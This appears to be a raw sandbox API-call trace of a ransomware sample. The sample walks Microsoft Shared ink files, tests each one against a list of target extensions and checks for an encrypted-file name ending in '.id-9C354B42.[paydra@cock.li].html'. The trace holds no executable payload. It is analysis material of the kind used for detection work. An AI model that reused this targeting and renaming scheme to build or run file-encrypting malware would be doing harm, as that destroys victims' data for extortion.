[0055.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0055.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0055.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.581] lstrlenW (lpString=".doc") returned 4 [0055.581] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.581] lstrlenW (lpString=".docx") returned 5 [0055.581] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0055.581] lstrlenW (lpString=".pdf") returned 4 [0055.581] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.581] lstrlenW (lpString=".xls") returned 4 [0055.581] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.581] lstrlenW (lpString=".xlsx") returned 5 [0055.581] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0055.581] lstrlenW (lpString=".ppt") returned 4 [0055.581] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.581] lstrlenW (lpString=".zip") returned 4 [0055.581] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.581] lstrlenW (lpString=".rar") returned 4 [0055.581] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.581] lstrlenW (lpString=".bz2") returned 4 [0055.581] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.581] lstrlenW (lpString=".7z") returned 3 [0055.581] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.581] lstrlenW (lpString=".dbf") returned 4 [0055.581] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.581] lstrlenW (lpString=".1cd") returned 4 [0055.581] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.581] lstrlenW (lpString=".jpg") returned 4 [0055.581] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.582] lstrlenW (lpString=".doc") returned 4 [0055.582] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.582] lstrlenW (lpString=".docx") returned 5 [0055.582] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0055.582] lstrlenW (lpString=".pdf") returned 4 [0055.582] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.582] lstrlenW (lpString=".xls") returned 4 [0055.582] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.582] lstrlenW (lpString=".xlsx") returned 5 [0055.582] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0055.582] lstrlenW (lpString=".ppt") returned 4 [0055.582] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.582] lstrlenW (lpString=".zip") returned 4 [0055.582] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.582] lstrlenW (lpString=".rar") returned 4 [0055.582] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.582] lstrlenW (lpString=".bz2") returned 4 [0055.582] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.582] lstrlenW (lpString=".7z") returned 3 [0055.582] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.582] lstrlenW (lpString=".dbf") returned 4 [0055.582] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.583] lstrlenW (lpString=".1cd") returned 4 [0055.583] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0055.583] lstrlenW (lpString=".jpg") returned 4 [0055.583] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.583] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.583] lstrlenW (lpString="micaut.dll.mui") returned 14 [0055.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.080] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=8704) returned 1 [0056.080] CloseHandle (hObject=0x214) returned 1 [0056.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0056.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0056.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.101] lstrlenW (lpString=".doc") returned 4 [0056.101] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.101] lstrlenW (lpString=".docx") returned 5 [0056.101] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.101] lstrlenW (lpString=".pdf") returned 4 [0056.101] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.101] lstrlenW (lpString=".xls") returned 4 [0056.101] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.101] lstrlenW (lpString=".xlsx") returned 5 [0056.101] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.101] lstrlenW (lpString=".ppt") returned 4 [0056.101] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.101] lstrlenW (lpString=".zip") returned 4 [0056.101] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.101] lstrlenW (lpString=".rar") returned 4 [0056.101] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.101] lstrlenW (lpString=".bz2") returned 4 [0056.101] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.101] lstrlenW (lpString=".7z") returned 3 [0056.101] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.101] lstrlenW (lpString=".dbf") returned 4 [0056.101] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.101] lstrlenW (lpString=".1cd") returned 4 [0056.101] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.101] lstrlenW (lpString=".jpg") returned 4 [0056.101] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.102] lstrlenW (lpString=".doc") returned 4 [0056.102] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.102] lstrlenW (lpString=".docx") returned 5 [0056.102] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.102] lstrlenW (lpString=".pdf") returned 4 [0056.102] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.102] lstrlenW (lpString=".xls") returned 4 [0056.102] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.102] lstrlenW (lpString=".xlsx") returned 5 [0056.102] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.102] lstrlenW (lpString=".ppt") returned 4 [0056.102] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.102] lstrlenW (lpString=".zip") returned 4 [0056.102] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.102] lstrlenW (lpString=".rar") returned 4 [0056.102] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.102] lstrlenW (lpString=".bz2") returned 4 [0056.102] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.102] lstrlenW (lpString=".7z") returned 3 [0056.102] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.102] lstrlenW (lpString=".dbf") returned 4 [0056.102] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.102] lstrlenW (lpString=".1cd") returned 4 [0056.102] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0056.102] lstrlenW (lpString=".jpg") returned 4 [0056.102] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.103] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.103] lstrlenW (lpString="TipRes.dll.mui") returned 14 [0056.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0056.472] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=32768) returned 1 [0056.472] CloseHandle (hObject=0x1fc) returned 1 [0056.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0056.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0056.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.472] lstrlenW (lpString=".doc") returned 4 [0056.473] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.473] lstrlenW (lpString=".docx") returned 5 [0056.473] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.473] lstrlenW (lpString=".pdf") returned 4 [0056.473] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.473] lstrlenW (lpString=".xls") returned 4 [0056.473] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.473] lstrlenW (lpString=".xlsx") returned 5 [0056.473] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.473] lstrlenW (lpString=".ppt") returned 4 [0056.473] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.473] lstrlenW (lpString=".zip") returned 4 [0056.473] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.473] lstrlenW (lpString=".rar") returned 4 [0056.473] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.473] lstrlenW (lpString=".bz2") returned 4 [0056.473] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.473] lstrlenW (lpString=".7z") returned 3 [0056.473] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.473] lstrlenW (lpString=".dbf") returned 4 [0056.473] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.473] lstrlenW (lpString=".1cd") returned 4 [0056.473] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.473] lstrlenW (lpString=".jpg") returned 4 [0056.473] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.473] lstrlenW (lpString=".doc") returned 4 [0056.473] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.473] lstrlenW (lpString=".docx") returned 5 [0056.474] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.474] lstrlenW (lpString=".pdf") returned 4 [0056.474] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.474] lstrlenW (lpString=".xls") returned 4 [0056.474] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.474] lstrlenW (lpString=".xlsx") returned 5 [0056.474] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.474] lstrlenW (lpString=".ppt") returned 4 [0056.474] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.474] lstrlenW (lpString=".zip") returned 4 [0056.474] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.474] lstrlenW (lpString=".rar") returned 4 [0056.474] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.474] lstrlenW (lpString=".bz2") returned 4 [0056.474] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.474] lstrlenW (lpString=".7z") returned 3 [0056.474] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.474] lstrlenW (lpString=".dbf") returned 4 [0056.474] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0056.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.474] lstrlenW (lpString=".1cd") returned 4 [0056.474] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0056.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0056.474] lstrlenW (lpString=".jpg") returned 4 [0056.474] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0056.474] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.474] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0056.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0056.506] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3584) returned 1 [0056.506] CloseHandle (hObject=0x204) returned 1 [0056.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0056.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.366] lstrlenW (lpString=".doc") returned 4 [0057.366] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.366] lstrlenW (lpString=".docx") returned 5 [0057.366] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.366] lstrlenW (lpString=".pdf") returned 4 [0057.366] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.366] lstrlenW (lpString=".xls") returned 4 [0057.366] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.366] lstrlenW (lpString=".xlsx") returned 5 [0057.366] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.367] lstrlenW (lpString=".ppt") returned 4 [0057.367] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.367] lstrlenW (lpString=".zip") returned 4 [0057.367] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.367] lstrlenW (lpString=".rar") returned 4 [0057.367] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.367] lstrlenW (lpString=".bz2") returned 4 [0057.367] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.367] lstrlenW (lpString=".7z") returned 3 [0057.367] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.367] lstrlenW (lpString=".dbf") returned 4 [0057.367] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.367] lstrlenW (lpString=".1cd") returned 4 [0057.367] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.367] lstrlenW (lpString=".jpg") returned 4 [0057.367] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.367] lstrlenW (lpString=".doc") returned 4 [0057.367] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.367] lstrlenW (lpString=".docx") returned 5 [0057.367] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.367] lstrlenW (lpString=".pdf") returned 4 [0057.367] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.367] lstrlenW (lpString=".xls") returned 4 [0057.367] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.367] lstrlenW (lpString=".xlsx") returned 5 [0057.367] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.368] lstrlenW (lpString=".ppt") returned 4 [0057.368] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.368] lstrlenW (lpString=".zip") returned 4 [0057.368] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.368] lstrlenW (lpString=".rar") returned 4 [0057.368] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.368] lstrlenW (lpString=".bz2") returned 4 [0057.368] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.368] lstrlenW (lpString=".7z") returned 3 [0057.368] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.368] lstrlenW (lpString=".dbf") returned 4 [0057.368] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.368] lstrlenW (lpString=".1cd") returned 4 [0057.368] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0057.368] lstrlenW (lpString=".jpg") returned 4 [0057.368] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.368] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0057.368] lstrlenW (lpString="FlickLearningWizard.exe") returned 23 [0057.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.442] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=927744) returned 1 [0057.445] CloseHandle (hObject=0x234) returned 1 [0057.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0057.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.460] lstrlenW (lpString=".doc") returned 4 [0057.460] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.462] lstrlenW (lpString=".docx") returned 5 [0057.462] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0057.463] lstrlenW (lpString=".pdf") returned 4 [0057.463] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.465] lstrlenW (lpString=".xls") returned 4 [0057.465] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.466] lstrlenW (lpString=".xlsx") returned 5 [0057.466] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0057.468] lstrlenW (lpString=".ppt") returned 4 [0057.468] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.470] lstrlenW (lpString=".zip") returned 4 [0057.472] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.472] lstrlenW (lpString=".rar") returned 4 [0057.472] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.473] lstrlenW (lpString=".bz2") returned 4 [0057.474] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.474] lstrlenW (lpString=".7z") returned 3 [0057.475] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe") returned 74 [0057.479] lstrlenW (lpString=".dbf") returned 4 [0057.479] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 